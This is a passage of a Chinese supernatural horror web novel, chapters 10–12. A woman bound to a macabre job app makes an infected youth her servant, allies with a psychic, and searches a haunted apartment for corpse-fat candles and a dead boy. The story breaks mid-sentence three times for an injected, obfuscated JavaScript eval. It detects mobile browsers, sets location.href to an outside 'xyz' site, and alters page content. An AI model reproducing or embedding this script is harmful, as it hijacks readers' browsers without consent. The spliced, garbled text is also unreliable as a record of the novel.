透过黑漆漆的洞口,隐约能看见具尸体的轮廓,从没头的标志性特征可以确定,这就是男主人缺失的身体。 这具尸首好像唤起了女人某些不好的记忆,她愤怒地嚎叫起来,声音仿佛来自地狱的恶鬼,捡起斧头一遍遍落下,地上木屑翻飞。 夹层的全貌显露出来,无头尸身下似乎还用某种深色颜料画着个圆形图案。 呼哧,火柴擦过盒壁的声音响起,深色图案纹路上随之燃起绿色火焰,一个占据了整个房间的仪式法阵映入眼帘。 同时被法阵溢出的力量冲击,棋盘幻影消失。巨狼虽然暂时还在,但也受到影响,缩小了身体,变成巴掌大小跳到林黎肩上,冲绿火呜呜低鸣。 不知道什么时候,耳边多了一个声音。很轻,比蚊子飞过还要不起眼,但同样地惹人心烦。 女人望着火焰,身上的异变迅速加深,现在整个天灵盖都没了,满头的触手到处挥动,看得让人头皮发麻。 林黎毫不犹豫地转身逃跑。这个什么月还没线下登陆就能逼退棋盘,硬打肯定打不过,现在不溜,待会就难说了。 身后陆扬脸上果然也露出如出一辙的表情,双目失神,仿佛在侧耳聆听谁的话 林黎皱了下眉,犹豫一秒还是拽上了他。留在这里大概率跟女人一个下场,被大月亮异化成人不人鬼不鬼的样子。 但即使离开了房间,陆扬的情况也没有好很多。他在念出邪神名字的时候就被标记了,等于打开了自家大门,还在门口挂了两个灯笼引路,强盗打劫的速度自然快。 此时天井被银色月光照得雪亮,一个大得离谱的圆月像个窨井盖一样挂在楼顶。 年轻男生的双眼已经血红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997423|178246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血红,几乎看不见眼白了。 被月光照到那边的瞳孔深处甚至能隐约看见蠕虫一样扭动的小触须。 林黎贴着内壁避开月光,拐进楼道,转角平台上还留着一大滩血液,中年男人被啃食了大半的尸骨歪斜在角落,僵尸则不知去向。 熟悉的震动传来,林黎抽出手机。 【进度提醒】 调解员的工作并不如您想象中那么轻松。 虽然与孩子母亲的沟通没有成功,但也许找到走失的孩子还有弥补的机会。 失败惩罚:扣除全部时薪的3倍 合着她还要倒贴上班? 林黎的目光落到最下面的倒计时上,半个钟头已经只剩29分50秒,时间还在飞快流走。倒计时结束还没找到,估计她的钱今晚就都gg了。 不过话说回来,男孩明显已经死了,所以要找的是他的尸骸?难道有什么特殊用处? “我的眼睛好痒,”陆扬恢复神智,迷迷糊糊地抬手想去揉。 “你被污染了,”林黎说,“一旦你出现攻击倾向,我就会砍掉你的脑袋。” 冷冰冰的陈述句,语气听起来也不像是在开玩笑。 她是认真的,而且会说到做到。 陆扬放下手,很快将自己的症状和先前女人的模样联系了起来。 “我的运气好像一直不怎么样。”他脸上的微笑既害怕又落寞。 “剁脑袋前可以先把我打晕吗?”他也就剩这点骨气了。 林黎沉默不语,从阴影中微微抬起头,漆黑的眼睛盯着他,声音轻柔得像耳语一样。 “我也许能救你,但你需要付出不菲的代价。” 陆扬惨笑道,“我都要没命了,代价还能比命大吗?” “你会活着,”林黎解释说,“但可能会失去身体的一部分或者全部,失去自由意志,甚至可能不再是人类的形态。” 从上一颗棋子生成结果看,那个妻子最后得到了力量,但同时也产生了变异,之后是否会继续变异还需要长期观察。 虽说眼下妻子表现出来的症状并不严重,但林黎不确定每个人的变异情况是不是都是一样的。 陆扬呆呆地望着她,甚至忘记了眨眼。 林黎知道自己的话听起来有多离谱。除了买卖人体器官,走私人口贸易,什么交易还会涉及到这个? 但这是自愿交易,主动权在他。 半晌,陆扬缓缓地眨了下眼睛,迟疑地问,“你是……邪神吗?” 林黎愣了下,仔细想想,依靠身体献祭以求得庇护,这确实有些像邪神的做派。但她是吗? 邪神应该是像大月亮那样的存在,靠恐惧和阴谋控制生灵,不断放大人心中的负能量,酝酿纯粹的邪恶,强迫和奴役痛苦的灵魂。 而她,她只是跟他们做了一个公平的交易。 “我只是个发现打工没有出路,正在积攒原始资金创业的牛马,”林黎说。 陆扬垂下眼睛,其实从受污染开始,他就已经没得选择了,比起做一只没有自我意识的诡异,他更愿意赌一把。 “虽然我很没用,总是给人添麻烦,不太聪明,毕业成绩也不理想,”他抬起眼睛说,“但我不想连死都这么潦草,我想证明我活着也是有价值的。所以,只要能活着,我愿意献祭自己的一切!” 林黎安静望着男生越来越坚定的目光。 “如你所愿。” 10. 天寿小区 有了制作第一枚棋子的经验,这次流程进行得很快,但当林黎看到男生的数值还是小小惊讶了下。 陆扬说自己不聪明这点,林黎很不赞同。五官身躯什么的相差不多,但停留在他脑袋旁的数字却达到了5,上面覆盖的色光也更加明亮,似乎是在提示她,优先选取这一块“猪肉” 林黎记得妻子仅仅只有2,这说明男生并不是如他自己所说的那么愚笨。5在满额10中,是一个特殊的数字,它是高数值和低数值的临界点,意味着达到了某种标准。 也许这次制作会发生点有趣的事。 【恭喜您得到了一枚兵棋子:陆扬】 作为凡人,他渴望追求生命的光辉,如同向上飘舞的火花,如同直扑赤焰的飞蛾。他是一片飘零的落叶,却向太阳祈求再次萌芽的力量。 仁慈的您允诺了,于是他被燃烧为了灰烬,埋入了土中。 林黎看到最后一句心脏不自觉地颤了下,这是仁慈吗?还是某种app独有的黑色幽默。 【特质:燃烧吧,我的血液,我的骨肉,火焰是我的挚友,即使化为灰烬是我最终的命运】 【提示:棋子永远是您的棋子】 林黎看着最后一句若有所思,目光落到再次昏迷过去的男生身上,伸手拔了根头发下来。 滋滋,那根不长的头发亮起橘色的火星,瘦弱的火焰亮起,在掌心轻轻摇摆。 林黎心念一动,火焰轻飘飘地飞起,在半空中扭成了一只蝴蝶的模样,绕着手掌飞了一圈,接着随着头发燃烧殆尽,火焰一同消失了。 根据描述,这明显是陆扬的能力。但她不但能任意使用,而且代价似乎还不用自己支付。 林黎深吸口气,转头望向陆扬眨了下眼睛,心想,这家伙的运气该说好还是不好呢? 【警示:制作棋子消耗了您的1点力量】 即使是微不足道的存在也会消耗您的精力,疲惫无可避免。 但请小心,世界在您的眼中,当您闭眼时,黑暗也将降临。 林黎愣了下,消耗力量能理解,但世界,闭眼,黑暗是什么意思?难不成她睡觉了,太阳就会坠机吗? 她发现这个app好像越来越说不清人话了,不过它确实不是人来着。 等等,既然制作棋子会消耗力量,那么刚才召唤巨狼呢? 林黎往上翻,果然发现了同款警示消息,召唤车棋子消耗2点力量。 兵和车代表了棋子的不同等级,由低到高分为兵,车,马,象,后,王。 巨狼的等级比陆扬高,消耗也多,而最开始的妻子棋没有标注等级,意思应该就是排不上号。 到了要扣点的时候,林黎突然发现了个问题,app好像从来没展示过她的基础数值,所以她要怎么知道现在有没有扣到安全线? 林黎想到之前脑袋感觉到的刺痛感,难道说到了临界点会直接反映在身体上? 算了,先找地方安置昏迷的棋子先,现在这可是她的所有物了,得好好保管。 林黎拖着昏迷不醒的陆扬推开三楼的一间房门,转身轻轻带上。 她原本想回自己房间,但下到四楼时看到了一走廊的血。 地上滴滴答答地流了一地,高跟鞋鞋印和另一个巨大的脚印将血水踩得凌乱。墙上除了溅得星星点点,还有撞击和摩擦的血痕。 难怪他们在五楼弄出这么大的响动都没有引来僵尸怪,看来它当时应该在跟美少男打得火热。 虽然眼下整个四楼一片死寂,但难保它不会还留在这。林黎肩上的小狼还没恢复,手里又拖着一个,再加上月光照射的范围在越来越大,一旦碰上会很麻烦。 她索性继续下到三楼。 三楼空间格局跟四楼五楼相差不大,屋内同样空无一人,但家具摆设上的灰尘却意外地不厚,就好像不久前还有人生活在这间屋子里。 房间看起来很乱,玄关处堆积的垃圾袋一直累到客厅,沙发椅子背上都是乱搭的脏衣服,纸屑吃剩的餐盒从倾倒的黑袋子里翻出来。整个空气里中都弥漫着股酸腐的臭味。 林黎把陆扬拖到还算干净的客厅中央放下,抬头时,手指下意识曲起。 不远处的餐桌上放着几根熟悉的白蜡,而其中一根竖起的蜡烛芯上还在冒着淡淡的白烟。 这个房间里有人,而且还在这。 脑海里的念头闪得很快,林黎面无异色,自然地直起腰走到桌边察看。 她进了这么多户,好像就这家有制作蜡烛的痕迹。桌面上染着层黏腻的油脂,上面摆满了制蜡工具,落灰的小秤,大小不一的量杯…… 林黎的手指经过金属楔子时灵巧地捏起藏入袖子,整个过程几乎不到一秒。如果有人旁观完全程大概会感叹一句真有做魔术师的天赋。 林黎毫无防备地露着整个背脊,同时鼻子捕捉到股甜腻的香味,是刚熄灭的蜡烛散发出的。 这烟味不太对劲。 她闻过尸体每个腐烂阶段的味道,蜡油散发出的非常接近其中之一。 沙沙沙,布料摩擦的声音挨近。 林黎扭过身的同时,身体像顶尖猎食动物那样,肌肉紧绷,熟练地调整角度,袖子里的金属楔子迅速滑到紧握的手心。 只要不到一秒,楔子就可以精准地插进来人的太阳穴,三秒内,这人就会没命,就算是异能者被扎穿脑子也会死。 但随后,闻到熟悉的香水味后凶器又被不动声色地收了回去。 “是我。” 美少男望着满脸惊慌失措的林黎,压低声音说。 “我看到了四楼走廊的血迹,还以为你……” “幸好我的异能是降低存在感,”他捂着肚子,走到椅子边坐下。 穿得这么华丽真能降低存在感吗? 大概林黎的质疑目光太强烈了,美少男扬起嘴角,露出整齐的八颗白牙。 “告诉你也没事,我的异能会根据在普通人中获得的高关注从而相应降低在诡异眼中的存在感,也就是说普通人越关注,诡异就越无视。” 那他不穿的话效果应该是最好的。 “所以我才这么打扮,”他说,“我叫边北舟。” “禾初。”林黎语气自然地说,目光落到地上仍旧昏迷着的男生,脸上流露出担忧,“他是陆扬。” “我们在五楼的时候不小心进了一间有鬼的屋子,他为了保护我受伤了。”林黎愧疚地低声道。 “他没事,”边北舟瞅了瞅,他自己就是异能者,一眼看出这是要觉醒的迹象。 他在陆扬跟前蹲下,手上变戏法似的突然多了个电子温度计,放到陆扬额头停了停,屏幕上亮起一个数字51摄氏度。 “还不错嘛,”边北舟看着数字惊讶说。 “还不错?”林黎愣了下,“这个意思不是他已经烧到51度了吗?” “不是哦,”边北舟拿起温度计,迅速贴到林黎额头。 林黎屏息,露出紧张的神色,衣服下的身体已经紧绷起来,就差一点,刚才差点就要条件反射地把这只手扭断了。 边北舟把温度计放下来给林黎看,上面的数字已经变成了37度。 “这是个测试异能者数值的道具,37代表普通人,以此为基准,越高说明觉醒的异能越强。低级异能者在40-50之间,50-60是中级异能者,60以上就是高级异能者了,70以上更是凤毛菱角,到现在我也只见过一个,”边北舟好像是想到了什么,惋惜道,“那家伙有89,简直跟怪物一样。” “越高就越强,不是件好事吗?” “是一件好事,”边北舟点点头,斟酌用词道,“但异能者获得力量的本质是被诡异感染,数值越高说明受感染度越深,就意味着越容易彻底沦为失去理智的诡异。” 林黎愣了下,普通人对异能者了解有限,只知道他们会觉醒各种力量,没想到力量来源竟然跟诡异一样? “异能者与诡异的唯一区别大概就是还保留有人性,”边北舟说。 他看着眼前的温度计“咦”了声,皱起眉嘀咕,“奇怪,数字怎么不动了,道具也会卡住吗?” 林黎想到它上一个测的好像是她,难保问题不会扯到自己…… 她有些心虚地眨眨眼,赶紧引开话题,“你怎么进来的?” 林黎确认过门是完好锁上的,难道边北舟也会撬锁这种偏门技能? “我来的时候门没锁,”他说。 林黎微微眯眼,什么样的人会不锁门?除非这里不是他的家,而且离开时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997424|178246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没再打算回来。 他们俩对视一眼,从眼神看显然都想到了上一波进来的求生者。 “桌上的蜡烛味道有点奇怪,跟平时闻过的好像不太一样。”林黎委婉道。 “那是人肉和尸油做的蜡烛,”边北舟暂时先收起出问题的温度计。 林黎分析道,“求生者不会无缘无故制作蜡烛,最有可能,这就是房租。” 人肉和尸油奠烛作为房租,很符合诡域的阴间风格。 “不过它的功能应该不止这个吧?” 不然边北舟不会冒险点燃一根。乱碰诡域里的东西,谁知道会不会引发什么连锁反应,边北舟这样经验丰富的异能者不会这么不谨慎。 “没错,蜡烛有驱逐诡异的作用,包括那头僵尸。脑子转得很快嘛,”边北舟惊讶道,“以前下过本吗?” “本?” “哦,就是诡域,我们平时习惯叫它副本。” 林黎想到前老板炸了自己满脸的脑袋,“算是进过一次吧。” 进就进,没进就没进,算是进过是怎么个意思?如进? 不过边北舟没有过多纠结,动脑子本来也不是他的强项。 “但是这里有个问题,”边北舟说,“我搜到过一本记账簿,每个人的房租很可能要18根白蜡。” “18根?”林黎略微一估就明白了,算上制作过程中的损耗,18根要用到的材料差不多是两根腿,或者一根腿一根手。 求生者肯定不能从自己身上取材,就算想,砍掉一条腿或手,就算不是失血过多死掉也会因为行动不便被淘汰。 所以最好的办法就是用别的求生者。这简直是明晃晃地在暗示求生者自相残杀。 “我们三个要通关就需要54根,接近一整具,”边北舟说,“可惜……” 可惜中年上班族已经被僵尸啃得差不多了,一切都走到了死胡同。 原本暴力破关是边北舟的首选,懒得动脑的人都喜欢直接锤。但他是没想到自己堂堂一个准高级异能者会在一个名不见经传的D级副本里碰壁。 他至今没想明白,如果副本里有B级的诡异存在,怎么可能测出的波动只有D级?就算是被封印了也至少有C级吧? 更何况在奇怪的月光出现后,僵尸估计已经快直逼A级了。 A级是什么水平,就算是高级异能者都不敢掉以轻心,更何况他们? 一个伤员,一个觉醒中,一个普通人? 那头虽然边北舟没明说,但林黎知道他想说什么,也并不觉得残酷,死都死了更要物尽其用。 她没有说自己手上已经凑够了18根,因为没办法解释来源,与其引起对方怀疑,不如不提。 林黎想了想,小声说,“我知道哪里能找到一具完整的尸体。” 边北舟皱起眉,“这里还有其他死掉的求生者?” “不是求生者。” 林黎指的是藏在5楼地板下的那具无头尸。 补上房租这环,现在她终于捋清这个诡域的主线了。 这个副本有两个通关方式,其一也是副本最乐见其成的,求生者自相残杀;其二则是走隐藏剧情线。 不管是小孩鬼还是走廊上的米碗照片,最后都会引导求生者去4450房间,然后碰见疯女人接下找小孩任务。 从疯女人的话里其实不难推测出,小孩大概率是晚上跑出去玩被僵尸吃掉了。 报仇的母亲和僵尸大战三百回合,求生者则得到隐藏在剧情线里的丈夫尸体。 这才是原本的D级难度,假如副本没有被邪神力量侵蚀的话…… 现在僵尸力量大增,5楼悲痛母亲连脑子都没了,还要再加上林黎误打误撞展开棋盘,导致千面之月的注意被吸引过来。 林黎自然还不知道自己也是罪魁祸首之一,跟边北舟大概讲了下5楼4450发生的家庭惨剧以及关键的男尸。 “这样我们就有足够的材料了!”他的眼睛肉眼可见地亮起来。 “……” 林黎有些心虚地眨了下眼睛,一边组织措辞,一边慢慢说,“其实,我们在五楼房间还发现了点其他东西。” 边北舟望着对方脸上腼腆的微笑,脖子莫名一凉,突然有种不详的预感。 11. 天寿小区 边北城感到很绝望,他们的处境已经够棘手了,结果现在告诉他这个副本被邪神侵蚀了?这意味着什么? 超低通关率以及超高死亡率。 “难怪,”他咬着牙,目色沉沉地盯着桌上的蜡烛。 副本里存在的规则使得弱小的人类也能够有机会存活下来。但一旦副本被邪神力量侵蚀,一切就都截然不同了。 邪神力量可以被理解为某种强效病毒,它会破坏副本环境和规则,使得里面的一切都陷入混乱无序,诡异和人类都会被感染变异,到最后整个诡域都会陷入纯粹的厮杀和吞噬。 所以想从被邪神渗透的副本中存活下来,唯一的机会就是趁规则还没完全消失前通关离开。 可是根据林黎的描述,男尸被放在召唤邪神的仪式法阵里,5楼显然已经沦为污染核心区,别说成功偷出男尸,估计上去只有被感染变异一个下场。 抽丝剥茧地分析完之后,答案已经很清晰了。 边北舟的目光落在仍然昏迷不醒的陆扬身上,脸上露出挣扎的神色。 期间,林黎一直安静地站在旁边垂着睫毛,作为脆弱的普通人,她显得乖巧而顺从,似乎不管边北舟做出什么决定,她都会遵循。 事实上,林黎现在忙着看虚空中的闪光界面。 黑暗中金光闪闪的字显得尤为扎眼,背景里还不断燃放着烟花,简直能把人亮瞎。 【诡域直聘2.0已更新】 app现已升级到可脱离载体发布消息!竭诚为您提供最好的体验! 【警示】 检测到您所处工作场地即将进入缄默季节,预计倒计时半小时,建议提前下班。 【提示】 检测到您还有未完成的工作:寻找失踪的男孩。请提高工作效率,避免产生经济损失,谨防加班哦!(ps.本次工作不提供加班费) 林黎:…… 狗app真的非常懂打工人心思了,但她会产生损失到底是谁害的?罪魁祸首还好意思说? 林黎撇撇嘴,目光落在“缄默季节”上,又是一个新的陌生词汇。 不知道这是个什么季节,缄默本身有噤声不语的意思,但连剥削狂app都建议提前下班,估计是个对活人不怎么友好的季节。 半小时……林黎想到找孩子的任务,翻出信息察看,上面倒计时提示已经过去十分钟。她深吸口气,尽力保持冷静。 接下来必须要尽快。孩子,或者说孩子的鬼魂会在哪里? 林黎脑海里闪过走廊上的米碗。这是种为死人做的简单祭祀,她原本以为是孩子家人摆的,但现在想想,一个已经神智不清的女人真的还有能力布置吗? 对面,思考半晌的边北舟终于下了决定,出声打断了林黎的思绪。 “我去5楼引开诡异,”他深吸口气说,“你想办法挪走尸体。” 边北舟很清楚这意味着什么,几乎必死的任务让声音里多了层凝重与绝望。 林黎闻言抬起头,落满睫毛影子的眼睛里闪过抹意外。 最近她身边的好人好事含量是不是有点高?这都有点影响她正常发挥了。 不过可惜的是,已经来不及了。 边北舟不知道这个副本还能坚持多久,但林黎眼前可明晃晃地挂着缄默季节来临倒计时。 不到半小时,就算现在拿到男尸也来不及制作蜡烛了。 “其实,还有个办法,”林黎犹豫道,“房东只要求我们交上蜡烛,但也没规定蜡烛是怎么来的。” 边北舟愣了下,“你的意思是?” 林黎眨了眨眼睛,“房东收蜡烛大概率是为了提防僵尸或其他鬼怪攻击自己,那么她也许会预留库存。” 话都说到这里了,边北舟终于明白过来,这是要抢劫房东小金库,然后再当作房租交给她。 一蜡两用,真正实现了无污染无公害的二次循环。 边北舟对林黎的印象还停留在漂亮花瓶上,他此时不由得重新打量她。柔和精致的眉眼,眼尾下垂,长而密的睫毛下,一双眸子又大又圆,显得无辜又无害。 谁懂听到顶着这张脸的人很自然地提出抢劫这种事的冲击,感觉一点不亚于小猫咪提着冲锋枪突突突的即视感。 但这方法听起来虽然无耻,仔细想却很有几分道理,最重要的是很快很有效率,非常合边北舟的胃口。 可是能提出这样办法的人真会是看上去那么无害吗? “我进楼里的时候留意过,房东住在一楼,不过现在下去很有可能碰到僵尸,”边北舟掩去眼底的怀疑,“不知道现在蜡烛还能不能对它起作用。” “加上这个应该可以留住它一会,”林黎掏出枚古钱币。 边北舟一愣,没想到这东西兜兜转转最后到了她手上,最重要的是,对方竟然愿意拿出来。 他知道一个道具对普通人来说意味着什么,诱惑有多大,即使是异能者也不可能完全无动于衷,毕竟一个好用的道具在关键时候真的可以救命。 想到这里,边北舟看向林黎的目光更加复杂了。 “如果你信得过我……” 话还没说完,林黎已经把钱币放到了他面前。 “我相信边哥会带我们出去。”她眉眼弯起,声音柔和。 边北舟愣愣地注视着对方递过来的钱币,暗哑的圆形铜币被修长白皙的手指捏着,漂亮的桃花眼里盛满了信任。 他心里蓦地升起了股愧疚,自己刚刚竟然还怀疑对方不单纯。 边北舟深吸口气,望着林黎郑重道,“我会的。” …… 林黎当然不是完全相信边北舟,只是接下来不太方便随身携带昏迷的陆扬,所以需要一个能确保带他出去的保姆。 从之前的行事看,边北舟虽然有想过用陆扬当租金,但最终放弃了,说明还有一定的道德底线。这样的人容易被信任和依赖打动,激发出英雄主义情绪。 一枚捡来的道具换一个还算可靠的盟友,对林黎来说很划算。 月光将走廊上的阴影逼得几乎只剩一脚的距离了,所照射之处都是霜一样的雪白。 嘎吱。 林黎闻声望向脚边,被月光照到的地方并不是像雪一样白,而是真的覆盖上了层冰霜。 “你有没有觉得温度降得很快?”边北舟问,之前还是跟外面一样的酷暑,眼□□感温度都快要入冬了。 难道说“缄默季节”就是指冬季?会有这么简单吗? 林黎和扛着陆扬的边北舟悄声下到一楼,幸运的是过程里没有碰见那头僵尸。 房间不算难找,就在进楼大厅拐角紧挨着走廊的地方。边北舟带着陆扬守在门口警戒,林黎小心翼翼地推门而入。 屋内面积比在外面看到的还要狭小,天花板很低,以林黎的身高,几乎轻轻跳一下就能触到垂挂的老式风扇扇叶。 黑暗中没有任何响动,房东不知道去了哪里。 林黎轻轻地踩过老旧的地板,目光在室内扫视一圈。电视柜、书桌、茶几,一堆堆杂物将整个空间挤得满满当当,同时也多了许多能藏东西的暗角。 林黎一边在室内转悠,一边模仿着腿脚不变,个子矮小的老太太活动。 如果她有一件重要的东西会藏在哪里? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997425|178246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这件物品每天都会被用到,急需的时候还必须迅速且容易拿取。 考虑到老太太的腿脚,所以藏的地方必然不会很偏僻,一定就在这周围的某个置物柜里。 察看的目光扫过照相墙时顿了顿。 里面夹着大大小小的照片,最前面的几张边角已经泛黄,能看出来距今年代久远。而照片里的主角都是同一对夫妻,按照时间线,从黑发青年到白发垂朽。 他们看起来一直都很恩爱,生活也很幸福,直到某一天,一切戛然而止。 最后那张照片里只剩头发半白的老太太,明明时隔不久,但看起来要比前一张苍老很多。她的神色哀痛,皮肤上的褶子深深的,像用刀划拉出来。 虽然这张照片上的人看上去仍然要年轻得多,但林黎还是敏锐地辨识出来了,这就是她之前见过的房东。 而另一个男主角从身形上判断,很像那只僵尸。 看来又是一出爱情悲剧。 之后的部分再也没有照片,全是剪掉下来的老报纸,一块块豆腐干大小,密密麻麻地贴满了墙壁。 起先还算正常,都是各种医院治愈绝症的案例,看来房东的丈夫一开始是病了。但紧接着报纸上关于宗教的比例越来越大,祭祀,仪式的字眼层出不穷。 而其中有个模糊的黑白标识出现的频率很高,几乎每张都会出现。它看起来像很多交叠的门,又像本翻开的书。 好眼熟啊? 林黎眯起眼回忆,依稀记得房间门口贴的小广告上宣传的似乎也是这个教会。 不对,她一定还在其他地方见过,但一时想不起来了。 林黎转开目光,扫过老式绿皮冰箱时心中微动。 老冰箱很矮,大概只有1.3-1.4m左右,这个高度即使是瘸腿驼背的老人也能很轻松够到。凑近察看,金属把手边缘因为经常触摸已经磨损掉漆。 林黎抬手握住门把手,打开上层冷冻柜,紧接着瞳孔猛地微缩。 在结满霜的狭窄柜体中央紧紧卡着个脑袋,黑白分明的眼睛死死盯着外面,四角空隙处填塞着砍下的手指、手臂。 “我知道老太婆把蜡烛放哪了!”脑袋急忙出声道,“只要你放我出去!” 林黎嘴唇微抿,就要关上柜门的手一顿。 “你要是不相信,我先告诉你也行,”脑袋絮絮叨叨地说,“老太婆腿脚不好,眼神也不好,拿东西都只能靠摸盒子轮廓。我有一次看到她从旁边的柜子里拿出来过一个……” 脑袋话还没说完就被林黎抓着头发提了出来。 哎?难道不是应该先尖叫一声,然后再问问他是人是鬼吗? 以前能找到这里的求生者都很谨慎,轻易不会碰它或者做交易。心态再好点的人看一眼就关上,要么就是假装跟它做交易,反正绝对没有这么爽快地把脑袋弄出来过的。 因为这一看就很诡异啊,弄出来没准会触发什么陷阱呢? 脑袋,或者说房东很聪明地预判了求生者的预判,所以也从来没失手过。这些差点成功的求生者估计到死都没想到,能让他们逃出生天的蜡烛其实就在他们的眼皮子底下。 林黎随手抓了块桌布塞进它嘴里,把提着的脑袋转过来,后面果然有个大窟窿,脑子里的东西全被掏空了,此时取而代之的是累得整整齐齐的白色蜡烛。 “果然,你就是蜡烛盒子。” 突然,冰箱的金属把手上闪过一抹不易察觉的暗光。 林黎敏锐地瞥向金属把手,在被拉变形的画面中,一个佝偻身体的黑影悄无声息地贴在她身后,高高举起的剪刀对准她的后脑勺猛戳下去。 12. 天寿小区 林黎一蜷身子,躬起的腰背猛击黑影的肚子,趁对方踉跄后退时,扭过身捏住拿剪刀的手,如果可以将此称之为手的话。 那鸡爪样的东西简直就跟披了块皮的树枝一样。 老太太痛得松开了手指,剪刀砸在地上,激起一片灰尘。它的胸膛剧烈起伏,浑浊的眼睛睁大,内心掀起了惊涛骇浪。 作为核心boss,老太太在诡域横行霸道多年,很久没有撞到过这么硬的墙了。 脆弱的人类伤不到它,强大的人类碍于它任务boss的身份也不会做过火,更不用说诡域里的其他诡异,它们都只能遵循规则的意志,无法越界。 所以老太太才能与5楼的女人相安无事到现在,即使对方的孩子死了……直到这个突然被规则强行录用进来的家伙出现。 明明是个人类,却能被诡域招聘进来办事,这简直闻所未闻,而且看起来瘦瘦弱弱,没想到力气竟然比身为诡异的自己还大。 望着头顶那双黑黢黢的眼睛,老太太有种感觉,对方是真的会杀了它,也真的能杀了它。 它心里不禁升起懊悔,太大意了,以为只是个没用的女人,自己对付起来绰绰有余,不然就该让老头解决了她,再去解决门外的男人。 “你不能伤害我!”老太太望着从地上捡起剪刀的林黎,心肝震颤,“我是你的雇主!没有我的同意,聘用契约无法解除,你也永远无法离开这里!” 然而比起老太太色厉内荏的威胁,林黎更在意眼前姗姗亮起的提示。 【恭喜您获得道具:阿婆的银剪】 一把养护得不错的银质剪刀,在阿婆出嫁时剪过合髻的头发,后来也剪过不少人的脖子,现在它有了更伟大的任务,成为您的消遣! 您可以使用它裁剪任何东西,一张纸,甚至一段令人烦恼的关系。48h内仅可使用1次。 林黎试了试剪刀,锋利的刀片交合时发出喑哑的咔呲声,看上去除了尺寸大些,与普通的剪刀没什么差别。 不知道提示描述的剪断关系后会发生什么?彻底抹消事实还是修改记忆?然而研究兴趣才刚升起就被紧随其后的提示打断。 【检测到任务目标:失踪的男孩在您附近2米内,现开启倒计时5分钟】 【4:59】 what? 林黎瞥了眼瞬间蒸发了十分钟的倒计时,深吸口气,不愧是狗app,这是生怕扣不到她的钱吗? 5分钟,要在堆满杂物的房间里找出男孩的尸骸或鬼魂,除非有奇迹,不然绝无可能…… 林黎的目光扫见老太太,眼睛眯了眯。 “哦?你怎么知道就没其他办法了?难道你都试过?”林黎挑了挑半边眉,轻飘飘地反问,“比如,雇主死了。” 老太太被对方轻描淡写就判自己死刑的态度激怒,胸腔里涌起潮水般的怒火,再加上那张刺眼的脸蛋,想把眼前女人撕碎的躁动让身体微微颤抖起来。 年轻漂亮的女人全都是祸害,全都是造成它不幸的根源! 剪刀轻轻的咔嚓声仿佛一盆水浇在火焰上,老太太的怒火被迫消减,收起爪牙,苍老的脸上露出脆弱的乞求。 “我只是个可怜的老太婆,半截子身体入土的人了。”它低哑着嗓子,语气凄婉地说,脸上没了那份鬼气森森的怨毒,此时看上去还真的像个无助脆弱的老人。 这个D级副本里猎到的大多数是弱小的普通人,但也不乏强大的异能者,实话说,作为无数核心诡异boss之一,老太太算不上多强,但年龄让它有条件变得足够狡猾。 人类,特别是年轻人,短暂的人生阅历让他们头脑简单,感情用事且容易心软,会轻易被表象蒙蔽。他们会不自觉地对弱小的老人或幼儿放下警惕,心生恻隐,即使几秒前那还是一个危险的诡异。 “你是人吗?” 没什么感情波动的声音打断了老太太的思绪,被出乎意料的反问狠狠一噎,它差点没维持住脸上的表情。 这女人是人类吗?一个瘦弱憔悴的老人倒在面前,不想着去扶,至少话放好听点吧! 老太太有点演不下去了,干巴巴地说,“我们无冤无仇,而且你干完活就离开了,我们有必要像这样打打杀杀,多伤邻里感情?” 这话说得好听,好像一开始打算用剪刀捅人后脑勺的不是它一样。 “没错,”林黎也不反驳它,顺着话说,“况且我是个尊老爱幼的好人。” 就你? 老太太闻言抿紧嘴,眼睛忍不住撑大。 这人还能要点脸吗?说的时候先把剪刀从老人家脖子上拿开会更有说服力吧? “我在找5楼母亲的儿子,”林黎问,“你肯定认识吧?” 老太太眼底闪过抹暗光,脸上露出悲悯的神色,“那个孩子出去玩被车撞死了,可怜的女人,年纪轻轻丧子又丧夫,啊!” 它大口大口喘着气,不敢置信地瞪着口口声声标榜尊老爱幼的好人女士把剪刀插进了它的大腿。 “你最好老实说真话,”林黎拔出剪刀,压低声音说,“不然你就会发现我有时候也不太尊老。” 老太太算是发现了这个女人的铁石心肠,装可怜根本博不到一点同情。它咬着牙,卸去伪装表情的老脸重新阴森起来。 “那孩子都死了好久了,尸骨早就找不到了,”她嗬嗬笑道,“你的任务永远也完不成,留下来陪我吧!” 林黎瞥了眼窗台,苍白的月光像冷冻室的寒气一样渗进来,玻璃四角甚至沿着缝隙的窗台都已经结起了薄薄的白霜。 挂在视角左上的倒计时,代表男孩那个只剩下不到四分钟,数字已经变成了血红色, 